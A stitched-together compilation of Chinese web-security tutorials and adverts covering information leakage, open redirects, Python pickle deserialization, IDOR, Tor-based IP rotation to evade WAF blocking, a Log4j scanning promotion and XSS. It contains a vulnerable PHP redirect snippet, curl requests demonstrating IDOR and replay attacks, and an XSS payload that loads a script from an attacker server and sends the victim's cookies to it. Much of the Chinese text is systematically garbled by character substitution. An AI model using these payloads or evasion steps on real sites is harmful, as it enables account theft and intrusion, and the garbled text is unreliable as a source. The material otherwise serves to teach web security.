Web安全

1.1. 破绽介绍因为网站管理员运维不当，可能会将备份文件、数据库配置文件等敏感文件寄存在WEB目录下公开拜访，攻击者能够轻松地拜访这些敏感文件，从而理解零碎的配置细节、明码信息、数据库凭据等重要数据，扩充的攻击面。 这种透露敏感信息的状况就属于信息透露破绽。 1.2. 破绽发现次要以目录扫描为主，可参考目录扫描，其次以察看或者正则表达式辅助为主。 1.3. 破绽分类1.3.1. 高风险还是具体情况具体分析，如.git源代码透露复原后发现是前端打包代码，可能也没啥用。备份文件透露.git源码透露.svn源码泄露.DS_store透露（遇到比拟多然而简直无危害）.hg源码透露（没理论遇到过）CVS源码透露（没理论遇到过）springboot actuator env信息透露报错（调试）页面信息透露（如透露API密钥、数据库明码等）...1.3.2. 低危险安服仔凑数为主Phpinfo()信息透露WEB-INF/web.xml泄露HTTP头信息透露（如服务器版本、技术栈、平安配置等）报错页面信息透露（如透露SQL语句、tomcat版本号等）robots.txt信息透露（透露敏感门路如/admin等，失常的robots.txt如这个是没有危害的！）...具体可在博客中看到，每个内容比拟少，就不独自发了。 1.4. 破绽危害因为信息透露的范畴太过于宽泛，所以危害取决于透露的哪些敏感数据，具体情况具体分析。 如： 透露个人信息： 当个人信息泄露时，攻击者可能获取用户的身份证号码、银行账号、明码等敏感数据，进而进行身份偷盗、歹意购物、虚伪贷款申请等欺诈行为，给用户带来财务损失和信用受损的危险。此外，个人信息的泄露也可能导致用户蒙受电信欺骗，如伪装成非法机构进行钓鱼攻打或社交工程攻打，诱使用户泄露更多敏感信息或转账给攻击者。透露网站备份文件： 当网站的备份文件泄露时，攻击者可能获取到网站的配置文件、敏感数据存储地位和拜访凭证等信息。这意味着攻击者能够取得对网站的齐全或局部控制权，进而进行歹意篡改、删除或增加恶意代码，毁坏网站的失常运行、导致数据失落、影响用户拜访或利用网站进行其余不法行为。此外，泄露的备份文件也可能蕴含用户的个人信息或登录凭证等，减少用户隐衷数据泄露和账号被入侵的危险。1.5. 修复倡议确保敏感文件寄存地位的安全性： 敏感文件应寄存在非Web根目录或受限制的目录中，确保只有受权的用户或零碎能够拜访。管制文件的拜访权限： 通过正确的文件权限设置和访问控制列表（ACL），限度敏感文件的拜访权限，确保只有受权用户能够拜访。定期清理不必要的文件： 删除不再须要的备份文件、临时文件和其余无用文件，以缩小潜在的信息透露危险。定期进行平安审计和破绽扫描： 定期审查网站配置，进行平安审计和破绽扫描，及时发现并修复可能存在的破绽。

1.1. 破绽介绍URL跳转破绽（URL Redirection Vulnerability）又叫凋谢重定向破绽（Open Redirect Vulnerability），是一种常见的网络安全破绽，它存在于许多网站和应用程序中。该破绽的根本原因是没有对用户提供的URL进行充沛的验证和过滤，导致攻击者能够通过结构歹意URL，将用户重定向到任意的网站或应用程序中。 1.2. 破绽危害以攻打用户客户端为主，对服务器自身不造成影响。钓鱼攻打： 攻击者能够将用户重定向到伪装成非法网站的钓鱼网站，以获取用户的敏感信息，如用户名、明码、银行账户等。恶意软件流传： 攻击者能够将用户重定向到歹意网站，从而下载和装置恶意软件，对用户设施进行感化。网络针对性攻打： 攻击者能够将用户重定向到特定的歹意网站，利用浏览器或插件破绽来攻打用户的零碎。品牌名誉受损： 歹意重定向可能会导致受攻打网站的品牌名誉受损，用户会失去对该网站的信赖。1.3. 破绽复现1.3.1. 场景搭建将如下代码保留为test.php <?php$url=$_GET['url'];header("Location: $url");?>仍然应用php疾速启动 php -S 0.0.0.0:9999拜访http://internal.gm7.org:9999/test.php即可 1.3.2. 复现过程拜访 http://internal.gm7.org:9999/test.php?url=https://baidu.com，将会跳转到baidu.com 其中baidu.com能够写成任意网站，用户也会依据参数url设置的值跳转到任意网站中。 1.4. 绕过字典下面的复现只是最根底的状况，然而大多数网站都或多或少做过一些加固，这里我间接贴出来我罕用的绕过字典（点击下载），一共637条。 大家在应用的时候，只须要将white.domain替换为指标容许的白名单域名即可。 1.5. 破绽实战某网站存在“浏览原文”性能，如下图 点击后会跳转到对应的网站中，依据教训，可发现goto前面为一串网址的base64编码，因而咱们只须要结构： https://xxx.com/goto/<base64(网址)>就能够跳转到任意网站中，如： https://xxx.com/goto/aHR0cHM6Ly9ibG9nLmdtNy5vcmcv测试后胜利跳转： 1.6. 修复倡议输出验证： 在承受用户输出并用于构建URL跳转性能之前，始终进行输出验证。确保只承受非法的URL，并避免恶意代码的注入。白名单验证： 对于跳转的URL，倡议应用白名单验证，只容许跳转到当时定义的非法域名或URL。平安编码实际： 开发人员应遵循平安编码实际，包含对用户输出进行适当的本义和过滤，以避免歹意URL的结构。正告和提醒： 在重定向之前，向用户显示明确的正告和提示信息，确保用户可能确认将要拜访的指标网站的合法性。

1.1. 什么是序列化和反序列化序列化和反序列化是指用于将对象或数据结构转换为字节流的过程，以便在不同零碎之间进行传输或存储，并在须要时从新结构。 序列化是指将对象或数据结构转换为字节流的过程。在序列化过程中，对象的状态和数据被转换为一系列字节，这些字节能够依照肯定的协定进行传输或存储。序列化通常用于将对象存储到磁盘或通过网络发送到其余零碎。序列化后的字节流能够被保留下来，当前能够通过反序列化操作从新构建对象并复原其状态和数据。 反序列化是指将序列化后的字节流转换回对象或数据结构的过程。在反序列化过程中，字节流被读取并解析，以还原为原始的对象或数据结构。反序列化通常用于从磁盘加载保留的对象或接管通过网络传输的序列化数据。通过反序列化，能够从新构建对象并复原其之前序列化的状态和数据。 序列化和反序列化在许多畛域都有宽泛的利用，例如分布式系统、长久化存储、缓存机制以及跨平台通信。它们容许将简单的对象或数据结构转换为字节流进行传输或存储，从而实现不同零碎之间的数据交换和共享。 1.2. 破绽介绍不平安的反序列化是指在反序列化过程中存在潜在平安危险的状况，如果序列化的内容可控，在传递给利用进行反序列化时，可能会导致执行恶意代码或触发其余不受管制的行为。 以下是一些常见的不平安反序列化的状况： 不受限制的反序列化：如果反序列化操作没有适当的验证和限度，容许任意的序列化数据被反序列化，攻击者能够结构歹意的序列化数据来执行恶意代码。未经过滤的输出：如果反序列化操作承受未经过滤的输出数据，攻击者能够通过结构特定的歹意数据来执行命令或导致不受管制的行为。自定义的反序列化逻辑：如果应用自定义的反序列化逻辑而不是应用平安的序列化库或框架，可能会导致平安问题。自定义逻辑可能不足必要的平安验证和过滤步骤，从而容易受到攻打。歹意的序列化数据：如果攻击者可能在反序列化操作中提供歹意结构的序列化数据，可能会导致命令执行或其余不受管制的行为。1.3. 复现过程网上大多是采纳的php进行复现，一搜一大堆，这里咱们用Python的pickle模块来进行复现。 1.3.1. pickle模块介绍参考 doc，可见是一个序列化模块。 根底应用如下： import pickle# 定义一个对象class Person: def __init__(self, name, age): self.name = name self.age = age# 创立一个 Person 对象person = Person("d4m1ts", 18)# 序列化对象serialized_data = pickle.dumps(person)# 序列化后的二进制数据print(f"序列化后的数据: {serialized_data}", end="\n\n")# 反序列化数据deserialized_person = pickle.loads(serialized_data)# 拜访反序列化后的对象属性print(f"反序列化后的对象所属类: {deserialized_person.__class__}")print(f"name: {deserialized_person.name}") # 输入: d4m1tsprint(f"age: {deserialized_person.age}") # 输入: 18 1.3.2. 魔术办法 __reduce__()在Python中，__reduce__()是一个非凡办法，用于定义对象的序列化行为。当应用pickle模块对对象进行序列化和反序列化时，__reduce__()办法会被调用。 __reduce__()办法应该返回一个元组()，其中蕴含两个或三个元素。元组的第一个元素是用于从新构建对象的函数，第二个元素是传递给构建函数的参数（通常是一个元组），而第三个元素（可选）是用于复原对象状态的可迭代对象。 简略来说，咱们能够通过重写__reduse__()函数，来批改数据反序列化的形式。 批改方才的代码，举例如下： import pickle# 定义一个对象class Person: def __init__(self, name, age): self.name = name self.age = age def __reduce__(self): print("Calling __reduce__()") # return (self.__class__, (self.value,)) return (print, ("reduse poc test",))# 创立一个 Person 对象person = Person("d4m1ts", 18)# 序列化对象serialized_data = pickle.dumps(person)# 序列化后的二进制数据print(f"序列化后的数据: {serialized_data}", end="\n\n")# 反序列化数据deserialized_person = pickle.loads(serialized_data)# 拜访反序列化后的对象属性print(f"反序列化后的对象所属类: {deserialized_person.__class__}")print(f"name: {deserialized_person.name}") # 输入: d4m1tsprint(f"age: {deserialized_person.age}") # 输入: 18可见在反序列化的时候，调用的是咱们重写时用的print办法。 ...

1.1. 破绽原理越权破绽是指应用程序未对以后用户操作的身份权限进行严格校验，导致用户能够操作超出本人管理权限范畴的性能，从而操作一些非该用户能够操作的行为。简略来说，就是攻击者能够做一些原本不该他们做的事件（增删改查）。 1.2. 破绽分类次要分为 程度越权 和 垂直越权 两大类 1.2.1. 程度越权产生在具备雷同权限级别的用户之间。攻击者通过利用这些破绽，拜访其余用户领有的资源或执行与其权限级别不符的操作。 1.2.2. 垂直越权产生在具备多个权限级别的零碎中。攻击者通过利用这些破绽，从一个低权限级别跳转到一个更高的权限级别。例如，攻击者从普通用户身份胜利跃迁为管理员。 1.3. 破绽举例1.3.1. 程度越权假如一个在线论坛应用程序，每个用户都有一个惟一的用户ID，并且用户能够通过URL拜访他们本人的帖子。应用程序的某个页面的URL构造如下： https://example.com/forum/posts?userId=<用户ID>应用程序应用userId参数来标识要显示的用户的帖子。假如Alice的用户ID为1，Bob的用户ID为2。 Alice能够通过以下URL拜访她本人的帖子： https://example.com/forum/posts?userId=1当初，如果Bob意识到URL参数是可变的，他可能尝试批改URL参数来拜访Alice的帖子。他将尝试将URL参数批改为Alice的用户ID（1）： https://example.com/forum/posts?userId=1如果应用程序没有正确施行访问控制机制，没有验证用户的身份和权限，那么Bob将胜利地通过URL参数拜访到Alice的帖子。 1.3.2. 垂直越权假如一个电子商务网站，有两种用户角色：普通用户和管理员。普通用户无限的权限，只能查看和购买商品，而管理员则领有更高的权限，能够增加、编辑和删除商品。 在失常状况下，只有管理员能够拜访和执行与商品治理相干的操作。然而，如果应用程序没有正确施行访问控制和权限验证，那么普通用户可能尝试利用垂直越权破绽晋升为管理员角色，并执行未经受权的操作。 例如，普通用户Alice可能意识到应用程序的URL构造如下： https://example.com/admin/manage-products她可能尝试手动批改URL，将本人的用户角色从普通用户更改为管理员，如下所示： https://example.com/admin/manage-products?role=admin如果应用程序没有进行足够的验证和受权查看，就会谬误地将Alice的角色更改为管理员，从而使她可能拜访和执行与商品治理相干的操作。 1.4. 破绽危害具体以理论越权的性能为主，大多危害如下： 数据泄露：攻击者能够通过越权拜访敏感数据，如个人信息、财务数据或其余敏感业务数据。这可能导致违反隐衷法规、信用卡信息泄露或个人身份盗用等问题。权限晋升：攻击者可能利用越权破绽晋升其权限级别，取得系统管理员或其余高权限用户的特权。这可能导致对整个零碎的齐全管制，并进行更宽泛的歹意流动。1.5. 修复倡议施行严格的访问控制：确保在应用程序的各个层面上施行适当的访问控制机制，包含身份验证、会话治理和受权策略。对用户进行适当的身份验证和受权，仅容许其执行其所需的操作。验证用户输出：应该对所有用户输出进行严格的验证和过滤，以避免攻击者通过结构歹意输出来利用越权破绽。特地是对于波及访问控制的操作，必须认真验证用户申请的合法性。最小权限准则：在调配用户权限时，采纳最小权限准则，即给予用户所需的最低权限级别，以限度潜在的越权行为。用户只应具备实现其工作所需的最小权限。平安审计和监控：建设平安审计和监控机制，对系统中的拜访流动进行监督和记录。这能够帮忙检测和响应越权行为，并提供对事件的审计跟踪。

1.1. 前言平时做我的项目或者挖SRC的过程中，在遇到扫目录或者凑低危用户名枚举等会有大量申请的状况时，总有各种WAF进去拦挡，而且通过各种形式还绕不掉，只能通过换IP的模式来进行绕过。 本文就次要阐明如何通过TOR实现动静IP的形式来绕过IP锁定机制。 1.2. 什么是TORTor（The Onion Router）是一个开源软件我的项目，最后由美国海军钻研实验室（Naval Research Laboratory）开发。它的设计目标是爱护网络通信的隐衷和匿名性。 Tor是一个用于匿名化网络通信的工具和网络协议。它通过在互联网上建设多层加密和隧道路由来暗藏用户的实在身份和地位信息。Tor通过将用户的通信流量通过多个两头节点（也称为中继）进行随机路由，使得追踪用户的起源和目的地变得艰难。 只管Tor提供了肯定水平的隐衷和匿名性，但它并不齐全免疫于攻打和平安威逼。 Tor网络可能受到流量剖析、进口节点的歹意行为以及入口和中继节点的攻打影响。此外，Tor的性能也可能受到限制，导致较慢的网络连接速度。为了应答这些问题，Tor我的项目一直进行改良和更新，以进步安全性和性能。将来的倒退方向可能包含更弱小的加密算法、更好的防御机制和更高效的路由抉择算法。同时，用户教育和意识的进步也是重要的，以正确应用Tor并了解其局限性和潜在的威逼。总结起来，Tor是一个用于匿名化网络通信的工具和协定，它通过多层加密和隧道路由暗藏用户的实在身份和地位信息。尽管Tor提供了肯定水平的隐衷和爱护，但它并非相对平安，可能存在攻打和性能方面的局限性。Tor我的项目在不断改进和倒退，以提供更弱小的隐衷爱护解决方案。 1.3. 环境需要国外 Ununtu 20.04.5 LTS1.4. 过程记录1.4.1. 根底应用装置配置TOR sudo apt install tor编辑配置文件/etc/tor/torrc，删掉SocksPort端口前的正文，同时减少一行 SocksPolicy accept * 测试成果 curl -x socks5://127.0.0.1:9050 ifconfig.io 1.4.2. 降级应用到当初tor能失常走代理用了，然而有个新的问题，就是它的IP在一段时间内固定的，而咱们绕过就须要打一枪换个中央，也就是须要继续切换新的IP。 办法一：通过批改配置在配置文件/etc/tor/torrc中加上最初两行 MaxCircuitDirtiness 1NewCircuitPeriod 1解释如下： MaxCircuitDirtiness：该配置项规定了Tor电路的最长可应用工夫，以秒为单位。当一个电路的应用工夫达到这个设定值后，Tor会敞开该电路并创立一个新的电路。NewCircuitPeriod：该配置项规定了Tor被动创立新电路的工夫距离，以秒为单位。当设定的工夫距离过来后，Tor会敞开以后的电路并建设一个新的电路。但通过测试，大概为每10秒会切换1次IP，并不会1秒切换1次。 while true; do curl -x socks5://127.0.0.1:9050 ifconfig.io sleep 10done演示后果如下： 办法二：通过软重启执行如下命令，该命令用于向运行在零碎上的 Tor 过程发送 SIGHUP 信号，以触发 Tor 过程从新加载配置文件（软重启） killall -HUP tor因而咱们如果想要每秒切换IP，能够写一个简略的bash如下 while true; do killall -HUP tor sleep 1done而后再写一个bash每秒查一次以后IP while true; do curl -x socks5://127.0.0.1:9050 ifconfig.io sleep 1done胜利每秒切换1个IP ...

download：某课网Web 平安实战宝典无mi常见网络安全破绽及测试方法介绍背景介绍Web利用个别指通过HTTP/HTTPS协定提供服务的B/S架构。随着互联网的倒退，Web利用曾经融入到咱们日常生活的方方面面。在目前的web利用中，大部分都不是动态的Web浏览，而是波及到服务器的动静解决。如果开发者的安全意识不强，就会导致Web利用的平安问题层出不穷。 一般来说，Web利用攻打是指攻击者通过浏览器或其余攻打工具，在URL或其余输出区域(如表单等)向Web服务器发送非凡申请。)，从而发现Web利用中的破绽，进而操作控制网站，达到入侵者的目标。 常见的安全漏洞一.SQL注入SQL注入是影响宽泛的最常见的破绽。攻击者通过在Web表单中插入SQL命令或输出域名或页面申请的查问字符串，最终坑骗服务器执行歹意的SQL命令，从而入侵数据库执行任何不请自来的查问。 SQL注入可能造成的危害有:网页和数据被篡改，外围数据被窃取，数据库所在的服务器被攻打，成为傀儡主机。 比方有些网站不应用预编译sql，用户在界面上输出的一些字段就增加到sql中。这些字段很可能蕴含一些歹意的sql命令。例如password = "1 "或" 1 " = " 1 "；即便不晓得明码，也能够失常登录。测试方法: 在要查问的页面上，输出正确的查问条件、1=1等简略的sql语句，查看响应后果。如果与输出正确的查问条件返回的后果统一，阐明应用程序没有对用户输出进行过滤，能够初步判断这里存在SQL注入破绽。 二、XSS跨站脚本攻打 SS(跨站脚本)，与SQL注入相似，XSS通过网页插入歹意脚本，应用的次要技术是前端HTML和JavaScript脚本。在用户浏览网页时，实现管制用户浏览器行为的攻击方式。 一个胜利的XSS能够获取用户的cookie，利用cookie窃取用户经营网站的权限；还能够获取用户的联系人列表，利用攻击者的身份向特定目标群体发送大量垃圾邮件等等。 XSS可分为三种类型:存储型(长久XSS)、反射型(非长久XSS)和DOM型。 测试方法: 在数据输出界面，输出:alert(/123/)。如果保留胜利后弹出对话框，阐明这里存在XSS破绽。 或者将url申请中的参数更改为alert(/123/)。如果页面上弹出一个对话框，这里就存在一个XSS破绽。 第三，CSRF跨站伪造申请攻打CSRF(跨站申请伪造)，利用登录用户身份，以用户名义发送歹意申请，实现非法操作。 例如，如果用户浏览并信赖存在CSRF破绽的网站A，浏览器会生成相应的cookie，用户无需退出该网站即可拜访危险网站B。 危险网站B要求拜访网站A并提出申请。浏览器用用户的cookie信息拜访了网站A。因为网站A不晓得是用户的申请还是危险网站B的申请，所以会解决危险网站B的申请，从而实现模仿用户操作的目标。这是CSRF防御的基本思路。 测试方法: 当两个页面被同一个浏览器关上时，一个页面的权限过期后，另一个页面是否能操作胜利，如果还能操作胜利，就存在危险。2.应用该工具发送申请，而不在http申请头中增加referer字段，并查看返回音讯的响应。应该从新定位到谬误界面或者登录界面。 四。文件上传破绽文件上传攻打是指攻击者将可执行文件上传到服务器并执行。 这种攻打是最间接无效的。上传的文件能够是病毒、木马、歹意脚本、webshell等。 HELL是asp、php、jsp、cgi等网页模式的命令执行环境，也能够说是网页的一个后门。受影响的零碎阻止或插入webshell后，攻击者能够很容易地通过webshell进入零碎，从而管制网站服务器。 测试方法: 严格查看上传文件的类型和大小，禁止上传带有恶意代码的文件。 查看相干目录的执行权限。您能够通过浏览器拜访Web服务器上的所有目录，并查看是否返回目录构造。如果显示目录构造，可能存在平安问题。 动词 （verb的缩写）URL跳转破绽URL跳转破绽，即未经验证的重定向破绽，是指Web程序间接跳转到参数中的URL，或者在页面中引入任意开发者的URL，将程序引向不平安的第三方区域，从而导致平安问题。 测试方法: 1.应用包抓取工具抓取申请。 2.抓取302的网址，批改指标地址，看能不能跳转。 Ps:然而当初很多跳转都是referer查看，导致攻击者无奈跳转。 摘要以上是一些常见的Web安全漏洞和测试方法。随着人们对网络安全的日益器重，Web平安测试在测试过程中的重要性日益凸显。尽管也有AppScan等破绽扫描工具，然而测试人员须要理解一些常见的安全漏洞。

download：某课-Web 平安实战宝典无密分享定义播送随着一系列新的互联网产品的诞生，如Web2.0、社交网络、微博等。基于Web环境的互联网利用越来越宽泛。在企业信息化的过程中，各种利用都是建设在Web平台上的。Web服务的疾速倒退也引起了黑客的强烈关注，随之而来的是Web平安威逼的凸显。黑客通过利用网站操作系统的破绽和web服务程序的SQL注入破绽取得Web服务器的控制权。鉴于此，他们篡改网页内容，窃取重要的外部数据，更重大的是，他们在网页中植入恶意代码，使网站访问者深受其害。这也使得越来越多的用户开始关注应用层的安全性，对Web利用安全性的关注也逐步升温。以后局势编辑和播送 许多业务依赖于互联网，如网上银行、网上购物、网上游戏等。很多歹意攻击者出于不良目标对Web服务器进行攻打，千方百计通过各种伎俩获取别人的个人账户信息，以谋取利益。正因为如此，网络商务平台是最容易受到攻打的。同时，对Web服务器的攻打能够说是形形色色，多种多样，常见的攻打有挂马、SQL注入、缓冲区溢出、嗅探、IIS等。一方面，TCP/IP的设计没有思考平安问题，使得网络上传输的数据没有任何平安爱护。攻击者能够利用系统漏洞造成零碎过程缓冲区溢出。攻击者可能取得或降级他们在易受攻击零碎上的用户权限，以运行任意程序，甚至装置和运行恶意代码来窃取秘密数据。而利用级软件在开发过程中没有过多思考平安问题，使得程序自身存在很多破绽，比方缓冲区溢出、SQL注入等风行的利用级攻打，都是因为软件开发过程中疏忽了平安思考而导致的。 另一方面，用户对一些隐秘的货色有着强烈的好奇心。一些利用木马或病毒程序进行攻打的攻击者，往往利用了用户的这种好奇心，将木马或病毒程序捆绑成一些富丽的图片、音视频、免费软件等文件，而后将这些文件搁置在一些网站中，再诱惑用户点击或下载。或者通过邮件附件和QQ、MSN等即时聊天软件将这些绑定木马或病毒的文件发送给用户，利用用户的好奇心诱惑其关上或运行这些文件。 攻打类别编辑和播送1.SQL注入:即通过在Web表单中插入SQL命令来提交或输出域名或页面申请的查问字符串，能够坑骗服务器执行歹意的SQL命令。例如，以前很多影视网站泄露VIP会员明码大多是通过web表单提交查问字符，这类表单特地容易受到SQL注入攻打。 2.跨站脚本攻打(又称XSS):指利用网站破绽歹意窃取用户信息。当用户浏览网站，应用即时通讯软件，甚至浏览电子邮件时，他们通常会点击链接。通过在链接中插入恶意代码，攻击者能够窃取用户信息。 3.网页挂马:将一个木马程序上传到一个网站，而后应用木马生成器创立一个网页木马，再增加代码使木马在关上的网页中运行。 防火墙的编辑播送Web利用平安实质上来源于软件品质。然而，与传统软件相比，Web利用有其独特性。Web应用程序对于一个组织来说往往是惟一的，已知的通用破绽签名对于其破绽是有效的。须要频繁的变更来满足业务指标，这使得很难维持有序的开发周期；须要充分考虑客户端和服务器端简单的交互场景，往往很多开发人员对业务流程不是很理解；人们通常认为Web开发很简略，没有教训的开发者也能做。Web利用平安，现实状况下应该遵循软件开发生命周期中的平安编码准则，在每个阶段采取相应的安全措施。但大多数网站的理论状况是:大量晚期开发的web利用，因为历史起因，都存在不同水平的平安问题。对于这些曾经上线和正在生产的Web利用，因为其定制化的特点，没有通用的补丁可用，整改代码因老本高而变得难以实现或须要较长的整改周期。 在这种状况下，业余的网络安全防护工具是一个正当的抉择。利用防火墙(WAF)正是这样一款业余工具，它提供了一种平安运维管制办法:基于HTTP/HTTPS流量的双向剖析，为WEB利用提供实时爱护。常见的WEB平安产品有barracuda WEB利用防火墙等。 技术概述编辑和播送随着黑客的专业化水平越来越高，针对Web利用的攻打伎俩和技术也越来越精良和荫蔽，这导致大多数Web利用都是在高危环境下开发的。对网站的攻打会间接冲破企业应用的平安底线，侵害企业的社会形象，导致客户的散失。梭子鱼Web利用防火墙能够为企业提供弱小的应用层平安防护，同时通过梭子鱼直观、实时的治理界面对WEB利用进行对立治理。 全面的网站爱护绝对于IPS对HTTP、HTTPS、FTP流量的简略操作，Web利用防火墙作为HTTP流量的代理，全面扫描7层数据，确保攻打在达到WEB服务器之前就能被阻断。因为很多Web利用的间歇性代码加固和平安保护，这些Web利用通常存在重大的安全漏洞和隐患。防火墙能够阻止所有常见的网络攻击。作为反向代理，能够在阻断攻打的同时，全面监控外发HTTP响应，确保信用卡号、社保卡号等敏感信息的泄露。联合动静学习性能，利用防火墙能够学习Web服务器的内部结构并生成策略，保障网站的高安全性。

Web平安名词定义 窃听者：在网络中通过抓包、劫持等形式可能获取用户申请数据的Hacker 窃密者：通过非正常伎俩可获取到用户数据的Hacker 攻击者：具备肯定计算机网络根底可能通过工具或者自主开发工具实现非凡目标的Hacker 摘要算法：音讯摘要算法是密码学算法中十分重要的一个分支，它通过对所有数据提取指纹信息以实现数据签名、数据完整性校验等性能。因为其不可逆性，有时候会被用做敏感信息的加密。 加密算法：加密（英语：Encryption）是将明文信息扭转为难以读取的密文内容，使之不可读的过程。只有领有解密办法的对象，经由解密过程，能力将密文还原为失常可读的内容。加密算法即加密的办法。 TOP 1 拜访越权未进行最小权限校验通常因为未对用户集体/设施等隐衷数据的拜访、批改进行应该权限查看而呈现的越权拜访；普通用户通过伪造申请拜访管理员能力拜访的数据等 ⚔️原申请：curl 'http://example.com/getUserInfo' -H 'accessToken:abc' -d '{"uid":123}' 返回123用户的信息 批改后的申请：curl 'http://example.com/getUserInfo' -H 'accessToken:abc' -d '{"uid":321}' 返回321用户的信息 普通用户伪造申请：curl 'http://example.com/getAdminUserList' ️ 针对有用户属性资源（如用户信息、用户上传的非公开图片、用户集体资产等）的申请需校验以后申请用户的权限针对有设施属性资源（如打印申请、打印历史记录等）的申请需校验以后申请用户是否有该设施权限对于后盾类资源申请需校验用户管理员权限重放攻打网络中存在窃听者将获取到的用户申请数据用于反复申请获取敏感信息 ⚔️ 原申请：curl 'http://example.com/resetPassword' -H 'accessToken:abc' -d '{"smsCode":1234}' 申请后用户可进入用户明码重置流程 反复申请：curl 'http://example.com/resetPassword' -H 'accessToken:abc' -d '{"smsCode":1234}' 申请后窃听者可进入用户明码重置流程 ️ 每个申请增加申请工夫，对于过期的申请间接拦挡可在分发给用户的token中关联用户IP、设施等信息，对于IP、设施更换的申请间接拦挡（在挪动网络中用户的IP可能随时变动会导致影响普通用户应用，须要留神业务是否须要如此高的危险等级）篡改申请因为未对残缺的申请参数进行签名，导致窃听者获取到用户申请后能够通过批改申请参数实现不同的目标 ⚔️ 原申请：curl 'http://example.com/transferMoney' -H 'accessToken:abc' -H 'sign:abcd' -H 'requestTime:1024' -d '{"toAccount":123,"money":100}' （其中sign仅对requestTime、accessToken做签名） 批改后的申请：curl 'http://example.com/transferMoney' -H 'accessToken:abc' -H 'sign:abcd' -H 'requestTime:1024' -d '{"toAccount":321,"money":100000}' ️ 对所有的申请参数进行签名而不是局部参数（如sign(requestParam,body)）对于有须要参加签名的参数应用body而不是header传输（header蕴含其余非业务参数无奈做对立签名）敏感数据透露通常呈现在用户的明码、人脸信息、签名信息等敏感信息在网络传输过程中或存储过程中未进行妥善的脱敏解决；加密算法未增加适合的随机因子导致密钥可被计算 ⚔️ ...

简介：2021年12月10日，国家信息安全破绽共享平台（CNVD）收录了Apache Log4j2近程代码执行破绽（CNVD-2021-95914），此破绽是一个基于Java的日志记录工具，为Log4j的降级。作为目前最优良的Java日志框架之一，被大量用于业务零碎开发。 破绽信息 早在2021年11月24日阿里巴巴云平安团队就报告了该破绽，为了帮忙大家更快的辨认破绽，防止受到潜在的攻打，云效技术团队提供了针对该破绽的解决计划。 源码级扫描，将危险及时扼杀阿里云云效代码治理平台 Codeup 的「依赖包破绽检测」反对在源码层面实时扫描依赖包危险，并提供破绽修复计划，可针对企业代码库主动扫描破绽并疾速报出，防止人工肉眼排查可能造成的危险脱漏。 本次 Log4j 已被定义为 Blocker 级别高危破绽，强烈建议尽快降级修复： 如何应用检测代码库管理员进入仓库设置-集成与服务中开启「依赖包破绽检测」，请留神 Java 代码须要勾选「设置 Java 检测参数」： 开启后默认分支将主动开始执行检测，期待检测实现，可查看分支代码检测详情，在检测报告中提供了破绽阐明与修复计划倡议： 因为破绽库实时更新，历史已开启扫描的代码库须要被动开关或提交代码以触发执行一次最新扫描。 如何修复破绽根据检测倡议，批改 Apache Log4j 相干依赖版本至最新的 Log4j-2.15.0 。 主动修复破绽手动顺次更新依赖文件十分繁琐，云效代码治理平台 Codeup 还提供了智能化的破绽主动修复能力，当检测出存在该安全漏洞时，在「平安」问题列表页面将提供黄色标识，反对一键主动修复破绽： 开展问题详情，点击「创立合并申请主动修复」按钮将主动生成一个合并申请，人工审核确认后可一键合并，主动修复破绽： 查看文件差别能够看到该合并申请已主动将代码 pom.xml 中的 Log4j 依赖版本升级到倡议的平安版本： 人工确认后点击合并，代码合并变更将主动从新触发代码检测服务，查看检测后果可确认破绽已修复解决： 极致的云端代码托管爱护本次 Apache Log4j2 开源依赖包破绽为所有人敲响警钟，企业的代码作为最重要的数字资产之一，很可能正面临着各种平安危险。企业和开发者在解决这个单点问题的同时，还须要思考如何更全面的保障本人的代码数据安全。 阿里云云效代码治理平台 Codeup 提供了丰盛的平安服务，在拜访平安、数据可信、审计风控、存储平安等角度全方位保障企业代码资产平安，如果你开始器重平安这件事，无妨立刻返回云效 Codeup 开始摸索。 原文链接本文为阿里云原创内容，未经容许不得转载。

常见web攻打随着互联网的发达，各种WEB利用也变得越来越简单，满足了用户的各种需要，然而随之而来的就是各种网络安全的问题。作为前端开发行业的咱们也逃不开这个问题。所以明天我就简略聊一聊WEB前端平安以及如何防备。 1、XSS  Cross Site Scripting    跨站脚本攻打XSS (Cross-Site Scripting)，跨站脚本攻打，因为缩写和 CSS重叠，所以只能叫 XSS。跨站脚本攻打是指通过在存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML标签或JavaScript进行的一种攻打。歹意攻击者往Web页面里插入歹意Script代码，当用户浏览该页之时，嵌入其中Web外面的Script代码会被执行，从而达到歹意攻打用户的目标。    XSS攻打分类  反射型 - url参数间接注入// 一般 http://localhost:3000/?from=china // alert尝试 http://localhost:3000/?from=<script>alert(3)</script></script>) // 获取Cookie [http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>]()引入了攻击者服务器中的一个js文件 hack.js var img = new Image()      img.src='http://localhost:4000/img?c='+document.cookie hack.js中申请了攻击者服务器并带上了被攻击者的cookie。而后攻击者服务器只须要： app.use(async (_ctx_, _next_) => { log('attack...:' + _ctx_.url)await _next_()}) 就能够获取到被攻击者的cookie // 短域名伪造 https://dwz.cn/ // 伪造cookie入侵 chrome     document.cookie= xxx  存储型 - 存储到DB后读取时注入存储型xss个别呈现在评论中，如果评论提交的内容被间接塞入数据库例如：{// 评论     <script>alert(1)</script>     _// 跨站脚本注入 _    我来了<script src="http://localhost:4000/hack.js"></script>} 提交： router.post('/updateText', async (_ctx_) => { text = _ctx_.request.body.textres = await query(`REPLACE INTO test.text (id,text) VALUES(1,'${text}');`)_ctx_.redirect('/')}); 没有解决间接塞到数据库，那么当数据被返回前端页面时如果也没做解决，那么被注入的js代码就会被执行。拜访到以后页面的用户尽管什么都没做，然而也会被攻击者获取到cookies。 反射型和存储型的区别存储型XSS，长久化，代码是存储在服务器中的，如在个人信息或发表文章等中央，退出代码，如果没有过滤或过滤不严，那么这些代码将贮存到服务器中，用户拜访该页面的时候触发代码执行。这种XSS比拟危险，容易造成蠕虫，偷盗cookie等 ...

